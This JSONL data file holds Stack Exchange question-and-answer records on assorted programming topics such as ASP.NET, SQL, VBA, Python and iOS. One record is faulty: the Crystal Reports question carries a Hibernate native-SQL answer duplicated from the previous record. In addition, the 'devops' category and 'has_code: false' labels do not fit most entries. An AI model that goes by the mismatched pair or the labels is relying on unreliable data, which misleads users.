{"id": "hf_d51e46f39c9b", "question": "<p>I have a dropdownlist with the autopostback set to true. I want the\nuser to confirm if they really want to change the value,\nwhich on post back fires a server side event (selectedindexchanged).</p>\n\n<p>I have tried adding an onchange attribute \"return confirm('Please click OK to change. Otherwise click CANCEL?';\") but it will not postback regardless of the confirm\nresult and the value in the list does not revert back if cancel\nselected. </p>\n\n<p>When I remove the onchange attribute from the DropdownList tag, the page does postback. It does not when the onchange attribute is added. Do I still need to wire the event handler (I'm on C# .Net 2.0 ).</p>\n\n<p>Any leads will be helpful.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Make sure your event is wired:\n```\n```\ndropDown.SelectedIndexChanged += new EventHandler(dropDown_SelectedIndexChanged);\n```\n```\nYou can also apply a client-side attribute to return the confirmation. Set the index accordingly if cancelled.\n```\n```\ndropDown.Attributes.Add(\"onchange\", \"javascript: return confirm('confirmation msg')\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.582539"}
{"id": "hf_3f405e2fc354", "question": "<p>I've heard people referring to this table and was not sure what it was about.</p>\n", "question_body": "", "answer": "I think this wikipedia article may help clarify.\nhttp://en.wikipedia.org/wiki/DUAL_table\nThe DUAL table is a special one-row\n  table present by default in all Oracle\n  database installations. It is suitable\n  for use in selecting a pseudocolumn\n  such as SYSDATE or USER The table has\n  a single VARCHAR2(1) column called\n  DUMMY that has a value of \"X\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.607025"}
{"id": "hf_44c1e36b5816", "question": "<p>I need to simply go through all the cells in a Excel Spreadsheet and check the values in the cells.  The cells may contain text, numbers or be blank.  I am not very familiar / comfortable working with the concept of 'Range'.  Therefore, any sample codes would be greatly appreciated.  (I did try to google it, but the code snippets I found didn't quite do what I needed)</p>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "In Excel VBA, this function will give you the content of any cell in any worksheet.\n```\n```\nFunction getCellContent(Byref ws As Worksheet, ByVal rowindex As Integer, ByVal colindex As Integer) as String\n    getCellContent = CStr(ws.Cells(rowindex, colindex))\nEnd Function\n```\n```\nSo if you want to check the value of cells, just put the function in a loop, give it the reference to the worksheet you want and the row index and column index of the cell. Row index and column index both start from 1, meaning that cell A1 will be ws.Cells(1,1) and so on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.643471"}
{"id": "hf_6ed7ce1a3473", "question": "<p>How do I tell Subversion (svn) to treat a file as a binary file?</p>\n", "question_body": "", "answer": "For example:\n```\n```\nsvn propset svn:mime-type image/png foo.png\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.671183"}
{"id": "hf_08159e899c0d", "question": "<p>Has anyone run into issues serializing components into a file and reading them back, specifically in the area where the component vendor upgrades the VCL components.  For example a file serialized with DelphiX and then years later read back with delphiY.  Do the serialization formats change and if so what can be done to prevent errors reading in the componets when upgrading.</p>\n", "question_body": "", "answer": "Formats will defintely change, as vendors will add features to their components. Serialization simply loops over all published properties and saves them to a stream. When they are read back, each of the properties that is read from the stream will be set back to the component. If the property does not exist anymore, you have a problem. I don't think you can do anything about that besides some basic exception handling.\nBest way to guarantee compatibility is to do your own serialization.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.801518"}
{"id": "hf_01f54f034131", "question": "<p>I would like to write small console based applications on Windows Mobile.  What console applications might I use?</p>\n", "question_body": "", "answer": "There is no command prompt style console on Windows Mobile.  If you're really after a command prompt, check out www.pocketdos.com for a high level of dos application compatibility.\nIf you're more interested in writing small applications for Windows Mobile, C# or VB.Net are your best choices.\nOn small mobile devices like this, command prompts are significantly harder for users to interact with compared to GUI based applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.836816"}
{"id": "hf_fc91d0383a40", "question": "<p>I'm looking into clustering points on a map (latitude/longitude). Are there any recommendations as to a suitable algorithm that is fast and scalable?</p>\n\n<p>More specifically, I have a series of latitude/longitude coordinates and a map viewport. I'm trying to cluster the points that are close together in order to remove clutter.</p>\n\n<p>I already have a solution to the problem (<a href=\"http://bouldr.net\" rel=\"noreferrer\">see here</a>), only I am wondering if there is any formal algorithm that solves the problem efficiently.</p>\n", "question_body": "", "answer": "Google Maps Hacks\nhas a hack,\n\"Hack 69. Cluster Markers at High Zoom Levels\"\n, on that.\nAlso, see\nWikipedia on clustering algorithms\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.859784"}
{"id": "hf_88e52def7d4b", "question": "<p>How can I combine multiple PDFs into one PDF without a 3rd party component?</p>\n", "question_body": "", "answer": "AFAIK C# has no built-in support for handling PDF so what you are asking can not be done without using a 3rd party component or a COTS library.\nRegarding libraries there is a myriad of possibilities. Just to point a few:\nhttp://csharp-source.net/open-source/pdf-libraries\nhttp://www.codeproject.com/KB/graphics/giospdfnetlibrary.aspx\nhttp://www.pdftron.com/net/index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.907591"}
{"id": "hf_13ef1871f81b", "question": "<p>In a shellscript, I'd like to set the IP of my box, run a command, then move to the next IP. The IPs are an entire C block.</p>\n\n<p>The question is how do I set the IP of the box without editing a file? What command sets the IP on Slackware?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "It should be something like:\n```\nifconfig eth0 192.168.0.42 up\n```\nReplace eth0 by the network interface of your network card, obviously adapt the ip address to your needs and the up is only necessary once, but doesn't hurt if you run it each time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.931419"}
{"id": "hf_136890fa9b2b", "question": "<p>In IE, the dropdown-list takes the same width as the dropbox (I hope I am making sense) whereas in Firefox the dropdown-list's width varies according to the content. </p>\n\n<p>This basically means that I have to make sure that the dropbox is wide enough to display the longest selection possible. This makes my page look very ugly :(</p>\n\n<p>Is there any workaround for this problem? \nHow can I use CSS to set different widths for dropbox and the dropdownlist?</p>\n", "question_body": "", "answer": "You can add a style directly to the select element:\n```\n<select name=\"foo\" style=\"width: 200px\">\n```\nSo this select item will be 200 pixels wide.\nAlternatively you can apply a class or id to the element and reference it in a stylesheet", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.954853"}
{"id": "hf_a0378cbc2621", "question": "<p>In JavaScript, what is the best way to determine if a date provided falls within a valid range?</p>\n\n<p>An example of this might be checking to see if the user input <code>requestedDate</code> is part of the next valid work week. Note that this is not just checking to see if one date is larger than another as a valid date would be equal to or greater than the lower end of the range while less than or equal to the upper end of the range.</p>\n", "question_body": "", "answer": "So if i understand currenctly, you need to look if one date is bigger than the other.\n```\n```\nfunction ValidRange(date1,date2)\n{\n   return date2.getTime() > date1.getTime();\n}\n```\n```\nYou then need to parse the strings you are getting from the UI, with Date.parse, like this:\n```\n```\nValidRange(Date.parse('10-10-2008'),Date.parse('11-11-2008'));\n```\n```\nDoes that help?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:35.990595"}
{"id": "hf_6d484b7c8beb", "question": "<p>I am a bit rusty on my cursor lingo in PL/SQL. Anyone know this?</p>\n", "question_body": "", "answer": "An explicit cursor is one you declare, like:\n```\n```\nCURSOR my_cursor IS\n  SELECT table_name FROM USER_TABLES\n```\n```\nAn implicit cursor is one created to support any in-line SQL you write (either static or dynamic).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.038302"}
{"id": "hf_05c4d4fc73dd", "question": "<p>How can I specify the filename when dumping data into the response stream?</p>\n\n<p>Right now I'm doing the following:</p>\n\n<pre><code>byte[] data= GetFoo();\nResponse.Clear();\nResponse.Buffer = true;\nResponse.ContentType = \"application/pdf\";            \nResponse.BinaryWrite(data);\nResponse.End();\n</code></pre>\n\n<p>With the code above, I get \"foo.aspx.pdf\" as the filename to save.  I seem to remember being able to add a header to the response to specify the filename to save.</p>\n", "question_body": "", "answer": "```\n```\nResponse.AppendHeader(\"Content-Disposition\", \"attachment; filename=foo.pdf\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.061856"}
{"id": "hf_857d79831394", "question": "<p>I'm looking for real world best practices, how other people might have implemented solutions with complex domains.</p>\n", "question_body": "", "answer": "This is what\nMSDN\nhas to say about IEqualityComparer (non-generic):\nThis interface allows the implementation of customized equality comparison for collections. That is, you can create your own definition of equality, and specify that this definition be used with a collection type that accepts the\n```\nIEqualityComparer\n```\ninterface. In the .NET Framework, constructors of the\n```\nHashtable\n```\n,\n```\nNameValueCollection\n```\n, and\n```\nOrderedDictionary\n```\ncollection types accept this interface.\nThis interface supports only equality comparisons. Customization of comparisons for sorting and ordering is provided by the\n```\nIComparer\n```\ninterface.\nIt looks like the generic version of this interface performs the same function but is used for\n```\nDictionary<(Of <(TKey, TValue>)>)\n```\ncollections.\nAs far as best practices around using this interface for your own purposes.  I would say that the best practice would be to use it when you are deriving or implementing a class that has similar functionality to the above mentioned .NET framework collections and where you want to add the same capability to your own collections.  This will ensure that you are consistent with how the .NET framework uses the interface.\nIn other words support the use of this interface if you are developing a custom collection and you want to allow your consumers to control equality which is used in a number of LINQ and collection related methods (eg. Sort).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.085198"}
{"id": "hf_a83817df16dd", "question": "<p>Is there a way to use sql-server like analytic functions in Hibernate?</p>\n\n<p>Something like  </p>\n\n<pre><code>select foo from Foo foo where f.x = max(f.x) over (partition by f.y)\n</code></pre>\n", "question_body": "", "answer": "You are after a native SQL query.\nIf you are using JPA the syntax is:\n```\n```\nQuery q = em.createNativeQuery(\"select foo.* from Foo foo \" +\n                               \"where f.x = max(f.x) over \" +\n                               \"(partition by f.y)\", Foo.class);\n```\n```\nIf you need to return multiple types, take a look at the\nSQLResultSetMapping\nannotation.\nIf you're using the the Hibernate API directly:\n```\n```\nQuery q = session.createSQLQuery(\"select {foo.*} from Foo foo \" +\n                                 \"where f.x = max(f.x) over \"+\n                                 \"(partition by f.y)\");\nq.addEntity(\"foo\", Foo.class);\n```\n```\nSee\n10.4.4. Queries in native SQL\nin the Hibernate documentation for more details.\nIn both APIs you can pass in parameters as normal using setParameter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.120163"}
{"id": "hf_2f4b9d8f711f", "question": "<p>When using Business Objects' CrystalReportViewer control, how can you detect and manually print the report the user has currently drilled into? You can print this automatically using the Print() method of the CrystalReportViewer, but I want to be able to do a manual printing of this report.</p>\n\n<p>It is possible to print the main ReportSource of the CrystalReportViewer, but I need to know what report the user has drilled into and then do a manual printing of that particular drill down. Any ideas?</p>\n", "question_body": "", "answer": "You are after a native SQL query.\nIf you are using JPA the syntax is:\n```\n```\nQuery q = em.createNativeQuery(\"select foo.* from Foo foo \" +\n                               \"where f.x = max(f.x) over \" +\n                               \"(partition by f.y)\", Foo.class);\n```\n```\nIf you need to return multiple types, take a look at the\nSQLResultSetMapping\nannotation.\nIf you're using the the Hibernate API directly:\n```\n```\nQuery q = session.createSQLQuery(\"select {foo.*} from Foo foo \" +\n                                 \"where f.x = max(f.x) over \"+\n                                 \"(partition by f.y)\");\nq.addEntity(\"foo\", Foo.class);\n```\n```\nSee\n10.4.4. Queries in native SQL\nin the Hibernate documentation for more details.\nIn both APIs you can pass in parameters as normal using setParameter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.144811"}
{"id": "hf_a06518242932", "question": "<p>I have a function in Python which is iterating over the attributes returned from <code>dir(obj)</code>, and I want to check to see if any of the objects contained within is a function, method, built-in function, etc.  Normally you could use <code>callable()</code> for this, but I don't want to include classes.  The best I've come up with so far is:</p>\n<pre><code>isinstance(obj, (types.BuiltinFunctionType, types.FunctionType, types.MethodType))\n</code></pre>\n<p>Is there a more future-proof way to do this check?</p>\n<p><strong>Edit:</strong> I misspoke before when I said: &quot;Normally you could use <code>callable()</code> for this, but I don't want to disqualify classes.&quot;  I actually <em>do</em> want to disqualify classes.  I want to match <em>only</em> functions, not classes.</p>\n", "question_body": "", "answer": "```\n```\nif hasattr(obj, '__call__'): pass\n```\n```\nThis also fits in better with Python's \"duck typing\" philosophy, because you don't really care\nwhat\nit is, so long as you can call it.\nIt's worth noting that\n```\ncallable()\n```\nis being removed from Python and is not present in 3.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.168525"}
{"id": "hf_9c9522f6ea45", "question": "<p>It seems obvious that some people have been able to figure out how to access the iPhone camera through the SDK (Spore Origins, for example). How can this be done?</p>\n", "question_body": "", "answer": "You need to use the\n```\nUIImagePickerController\n```\nclass, basically:\n```\n```\nUIImagePickerController *picker = [[UIImagePickerController alloc] init];\npicker.delegate = pickerDelegate\npicker.sourceType = UIImagePickerControllerSourceTypeCamera\n```\n```\nThe\n```\npickerDelegate\n```\nobject above needs to implement the following method:\n```\n```\n- (void)imagePickerController:(UIImagePickerController *)picker\n           didFinishPickingMediaWithInfo:(NSDictionary *)info\n```\n```\nThe dictionary\n```\ninfo\n```\nwill contain entries for the original, and the edited image, keyed with\n```\nUIImagePickerControllerOriginalImage\n```\nand\n```\nUIImagePickerControllerEditedImage\n```\nrespectively. (see\nhttps://developer.apple.com/documentation/uikit/uiimagepickercontrollerdelegate\nand\nhttps://developer.apple.com/documentation/uikit/uiimagepickercontrollerinfokey\nfor more details)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.217484"}
{"id": "hf_c045390dd85f", "question": "<p>I have a Windows XP SP2 virtual machine which can be accessed via VNC. It's also running Deep Freeze so there should be no problem in forcing it to reboot. I am looking for a way to force the operating system to reboot instead of shutting down or completely remove the ability to shut down the machine using software applications (such as the usual way from the start menu, the shutdown program or other custom programs).</p>\n\n<p>Thank you,\nTom</p>\n", "question_body": "", "answer": "Try this:\n```\nshutdown /r /t 1 /f\n```\nAlex", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.254083"}
{"id": "hf_493f2aaa186c", "question": "<p>How do you convert between hexadecimal numbers and decimal numbers in C#?</p>\n", "question_body": "", "answer": "```\n```\nString stringrep = myintvar.ToString(\"X\");\n\nint num = int.Parse(\"FF\", System.Globalization.NumberStyles.HexNumber);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.278562"}
{"id": "hf_9204996d40f7", "question": "<p>I'm trying to write a query that extracts and transforms data from a table and then insert those data into another table. Yes, this is a data warehousing query and I'm doing it in MS Access. So basically I want some query like this:</p>\n\n<pre><code>INSERT INTO Table2(LongIntColumn2, CurrencyColumn2) VALUES\n  (SELECT LongIntColumn1, Avg(CurrencyColumn) as CurrencyColumn1 FROM Table1 GROUP BY LongIntColumn1);\n</code></pre>\n\n<p>I tried but get a syntax error message.</p>\n\n<p>What would you do if you want to do this?</p>\n", "question_body": "", "answer": "Remove\n```\nVALUES\n```\nfrom your SQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.306024"}
{"id": "hf_76185b29fa23", "question": "<p>I have been playing with this for a while, but the closest I have gotten is a button that opens the <code>Paste Special</code> dialog box and requires another couple of mouse clicks to paste the contents of the clipboard as unformatted text. </p>\n\n<p>So often I am doing a <code>copy-paste</code> from a web site into a document where I don't want the additional baggage of the HTML formatting, it would be nice to be able to do this with a shortcut key or a toolbar button.</p>\n", "question_body": "", "answer": "Make the button call the macro:\n```\n```\npublic sub PasteSpecialUnformatted()\n  selection.pastespecial datatype:=wdpastetext\nend sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.369435"}
{"id": "hf_03b2cb01caf0", "question": "<p>Is there a way to restart the Rails app (e.g. when you've changed a plugin/config file) while Mongrel is running. Or alternatively quickly restart Mongrel. Mongrel gives these hints that you can but how do you do it?</p>\n\n<p>** Signals ready.  TERM => stop.  USR2 => restart.  INT => stop (no restart).</p>\n\n<p>** Rails signals registered.  HUP => reload (without restart).  It might not work well.</p>\n", "question_body": "", "answer": "For example,\n```\n```\nkillall -USR2 mongrel_rails\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.392919"}
{"id": "hf_e3020b681cbf", "question": "<p>On a JSTL/JSP page, I have a java.util.Date object from my application. I need to find the day <em>after</em> the day specified by that object. I can use &lt;jsp:scriptlet&gt; to drop into Java and use java.util.Calendar to do the necessary calculations, but this feels clumsy and inelegant to me.</p>\n\n<p>Is there some way to use JSP or JSTL tags to achieve this end without having to switch into full-on Java, or is the latter the only way to accomplish this?</p>\n", "question_body": "", "answer": "While this does not answer your initial question, you could perhaps eliminate the hassle of going through java.util.Calendar by doing this:\n```\n```\n// Date d given\nd.setTime(d.getTime()+86400000);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.416885"}
{"id": "hf_5a49f358b84a", "question": "<p>I have an ext combobox which uses a store to suggest values to a user as they type. </p>\n\n<p>An example of which can be found here: <a href=\"http://extjs.com/deploy/ext/examples/form/combos.html\" rel=\"nofollow noreferrer\">combobox example</a></p>\n\n<p>Is there a way of making it so the <strong>suggested text list</strong> is rendered to an element in the DOM. Please note I do not mean the \"applyTo\" config option, as this would render the whole control, including the textbox to the DOM element.</p>\n", "question_body": "", "answer": "So clarify, you want the selected text to render somewhere besides directly below the text input. Correct?\nComboBox is just a composite of\nExt.DataView\n, a text input, and an optional trigger button. There isn't an official option for what you want and hacking it to make it do what you want would be really painful. So, the easiest course of action (other than finding and using some other library with a component that does exactly what you want) is to build your own with the components above:\nCreate a text box. You can use an\nExt.form.TextField\nif you want, and observe the keyup event.\nCreate a DataView bound to your store, rendering to whatever DOM element you want. Depending on what you want, listen to the 'selectionchange' event and take whatever action you need to in response to the selection. e.g., setValue on an Ext.form.Hidden (or plain HTML input type=\"hidden\" element).\nIn your keyup event listener, call the store's filter method (see\ndoc\n), passing the field name and the value from the text field. e.g., store.filter('name',new RegEx(value+'.*'))\nIt's a little more work, but it's a lot shorter than writing your own component from scratch or hacking the ComboBox to behave like you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.452985"}
{"id": "hf_b6b1fcf922db", "question": "<p>I am working on a large C++ project in Visual Studio 2008, and there are a lot of files with unnecessary <code>#include</code> directives. Sometimes the <code>#include</code>s are just artifacts and everything will compile fine with them removed, and in other cases classes could be forward declared and the #include could be moved to the <code>.cpp</code> file.  Are there any good tools for detecting both of these cases?</p>\n", "question_body": "", "answer": "While it won't reveal unneeded include files, Visual studio has a setting\n```\n/showIncludes\n```\n(right click on a\n```\n.cpp\n```\nfile,\n```\nProperties->C/C++->Advanced\n```\n) that will output a tree of all included files at compile time.  This can help in identifying files that shouldn't need to be included.\nYou can also take a look at the pimpl idiom to let you get away with fewer header file dependencies to make it easier to see the cruft that you can remove.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.514237"}
{"id": "hf_24d45fdc6316", "question": "<p>I need to convert a value which is in a <code>DateTime</code> variable into a <code>varchar</code> variable formatted as <code>yyyy-mm-dd</code> format (without time part).</p>\n<p>How do I do that?</p>\n", "question_body": "", "answer": "Try the following:\n```\n```\nCONVERT(varchar(10), [MyDateTimecolumn], 20)\n```\n```\nFor a full date time and not just date do:\n```\n```\nCONVERT(varchar(23), [MyDateTimecolumn], 121)\n```\n```\nSee this page for convert styles:\nhttp://msdn.microsoft.com/en-us/library/ms187928.aspx\nOR\nSQL Server CONVERT() Function", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.574909"}
{"id": "hf_fb62c0a0e0d3", "question": "<p>I am trying to use the <code>import random</code> statement in python, but it doesn't appear to have any methods in it to use.</p>\n\n<p>Am I missing something?</p>\n", "question_body": "", "answer": "I think you need to give some more information.  It's not really possible to answer why it's not working based on the information in the question.  The basic documentation for random is at:\nhttps://docs.python.org/library/random.html\nYou might check there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.665201"}
{"id": "hf_2128686e5839", "question": "<p>What is the easiest way to manage the authorized_keys file for openssh across a large number of hosts? If I need to add or revoke a new key to an account on 10 hosts say, I must login and add the public key manually, or through a clumsy shell script, which is time consuming. </p>\n\n<p>Ideally there would be a central database linking keys to accounts@machines with some sort of grouping support (IE, add this key to username X on all servers in the web category). There's fork of SSH with ldap support, but I'd rather use the mainline SSH packages.</p>\n", "question_body": "", "answer": "I've always done this by maintaining a \"master\" tree of the different servers' keys, and using rsync to update the remote machines. This lets you edit things in one location, push the changes out efficiently, and keeps things \"up to date\" -- everyone edits the master files, no one edits the files on random hosts.\nYou may want to look at projects which are made for running commands across groups of machines, such as Func at\nhttps://fedorahosted.org/func\nor other server configuration management packages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.689600"}
{"id": "hf_3d25746b4f95", "question": "<p>I have a .ico file that is embedded as a resource (build action set to resource).  I am trying to create a NotifyIcon.  How can I reference my icon?</p>\n\n<pre><code>notifyIcon = new NotifyIcon();\nnotifyIcon.Icon = ??     // my icon file is called MyIcon.ico and is embedded\n</code></pre>\n", "question_body": "", "answer": "Your icon file should be added to one of your project assemblies and its Build Action should be set to Resource. After adding a reference to the assembly, you can create a NotifyIcon like this:\n```\n```\nSystem.Windows.Forms.NotifyIcon icon = new System.Windows.Forms.NotifyIcon();\nStream iconStream = Application.GetResourceStream( new Uri( \"pack://application:,,,/YourReferencedAssembly;component/YourPossibleSubFolder/YourResourceFile.ico\" )).Stream;\nicon.Icon = new System.Drawing.Icon( iconStream );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.750742"}
{"id": "hf_0628a803b0f7", "question": "<p>I have a function that takes, amongst others, a parameter declared as <em>int privateCount</em>.  When I want to call ToString() on this param, ReSharper greys it out and marks it as a redundant call.  So, curious as I am, I remove the ToString(), and the code still builds!</p>\n\n<p>How can a C# compiler allow this, where <em>str</em> is a string?</p>\n\n<p><code>str += privateCount +</code> ...</p>\n", "question_body": "", "answer": "The + operator for string is overloaded to call String.Concat passing in the left and right side of the expression. Thus:\n```\n```\nstring x = \"123\" + 45;\n```\n```\nGets compiled to:\n```\n```\nString.Concat(\"123\", 45);\n```\n```\nSince String.Concat takes in two objects, the right hand side (45) is boxed and then ToString() is called on it.\nNote that this \"overloading\" is not via operator overloading in the language (aka it's not a method named op_Addition) but is handled by the compiler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.775152"}
{"id": "hf_b7f68b8b3b95", "question": "<p>I'm developing a website on an XP virtual machine and have an SMTP virtual server set up in IIS -- it delivers mail just fine. What I would <em>like</em> is to confirm that any emails the site sends are only going to a specific domain.</p>\n\n<p>The XP firewall seems to only involve incoming connections, I can't block outgoing TCP on port 25. And I haven't been able to configure the SMTP server to filter by delivery address.</p>\n\n<p>With this setup, is there any easy way to filter outgoing email by destination address?</p>\n", "question_body": "", "answer": "I think the easiest way would be to add a check to your mail sending code on the website (there's got to be some class which is in charge of sending the mails out).\nYou could include a check which is only active when the code is compiled in debug mode (using compiler directives). Thus, when you are developing and building the site in debug mode, this code checks if the outgoing messages are valid (specific domain) or not. If they are it lets them go, else it doesn't send the mail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.811958"}
{"id": "hf_e3ab00719a0c", "question": "<p>I would like to use the 7-Zip DLLs from Delphi but have not been able to find decent documentation or examples.  Does anyone know how to use the 7-Zip DLLs from Delphi?</p>\n", "question_body": "", "answer": "As of release 1.102 the\nJEDI Code Library\nhas support for\n7-Zip\nbuilt into the\nJclCompression\nunit. Haven't used it myself yet, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.848785"}
